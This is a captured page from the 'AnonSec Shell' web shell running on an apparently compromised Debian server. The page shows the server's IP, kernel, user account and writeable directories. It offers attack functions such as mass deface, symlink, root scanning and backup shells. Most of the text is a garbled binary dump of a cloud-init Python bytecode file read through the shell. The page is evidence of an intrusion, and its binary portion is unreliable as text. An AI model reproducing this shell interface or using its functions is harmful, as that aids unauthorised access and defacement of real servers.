AnonSec Shell
Server IP : 5.101.180.230  /  Your IP : 216.73.216.52   [ Reverse IP ]
Web Server : Apache/2.4.62 (Debian)
System : Linux s4261ad19.fastvps-server.com 6.1.0-30-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.124-1 (2025-01-12) x86_64
User : mrnews_ru_usr ( 1030)
PHP Version : 8.2.26
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/cloudinit/distros/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/cloudinit/distros/__pycache__/openbsd.cpython-311.pyc
�

܍~ct���ddlZddlZddlmZddlmZmZeje��Z	Gd�dej
jj��Z
dS)�N)�log)�subp�utilc�N�eZdZdZdgZd
d�Zd�Zd�Zdedefd	�Z	d
�Z
d�Zd�ZdS)�Distroz/etc/myname�rcctlNc�4�tj|j��S�N)r�	load_file�hostname_conf_fn)�self�filename�defaults   �;/usr/lib/python3/dist-packages/cloudinit/distros/openbsd.py�_read_hostnamezDistro._read_hostnames���~�d�3�4�4�4�c�D�|dz}tj|j|��dS)N�
)r�
write_filer)r
�hostnamer�contents    r�_write_hostnamezDistro._write_hostnames&���T�/�����-�w�7�7�7�7�7rc��dd||gS)N�usermodz-G�)r
�member_name�
group_names   r�_get_add_member_to_group_cmdz#Distro._get_add_member_to_group_cmds���4��[�9�9r�action�servicec	��|j}d|gd|gd|gd|gd|gd|gd|gd|gd�}t|��t||��z}tj|d�	��S)
z�
        Perform the requested action on a service. This handles OpenBSD's
        'rcctl'.
        May raise ProcessExecutionError
        �stop�start�enable�disable�restart�check)r"r#r$r%r&�reloadz
try-reload�statusT)�capture)�init_cmd�listr)r
rr r+�cmds�cmds      r�manage_servicezDistro.manage_services����=���W�%��w�'���)�!�7�+�!�7�+� �'�*�$�g�.���(�	
�	
���8�n�n�t�D��L�1�1�1���y��d�+�+�+�+rc��	tjddd|g��dS#t$rtjtd|���wxYw)Nrz-p�*zFailed to lock user %s)r�	Exceptionr�logexc�LOG�r
�names  r�lock_passwdzDistro.lock_passwd0sY��	��I�y�$��T�2�3�3�3�3�3���	�	�	��K��5�t�<�<�<��	���s	��'Ac��dSr
rr5s  r�
unlock_passwdzDistro.unlock_passwd7s���rc�B�tj���}|S)z:Return env vars used in OpenBSD package_command operations)�os�environ�copy)r
�es  r�_get_pkg_cmd_environzDistro._get_pkg_cmd_environ:s���J�O�O�����rr
)
�__name__�
__module__�__qualname__rr+rrr�strr/r7r9r?rrrrrs�������$���y�H�5�5�5�5�8�8�8�:�:�:�,�S�,�3�,�,�,�,�(���
�
�
�����rr)r;�cloudinit.distros.netbsd�	cloudinitr�loggingrr�	getLoggerr@r4�distros�netbsd�NetBSDrrrr�<module>rKs���

�	�	�	�����$�$�$�$�$�$� � � � � � � � ��g���!�!��/�/�/�/�/�Y�
�
%�
,�/�/�/�/�/r

Anon7 - 2022
AnonSec Team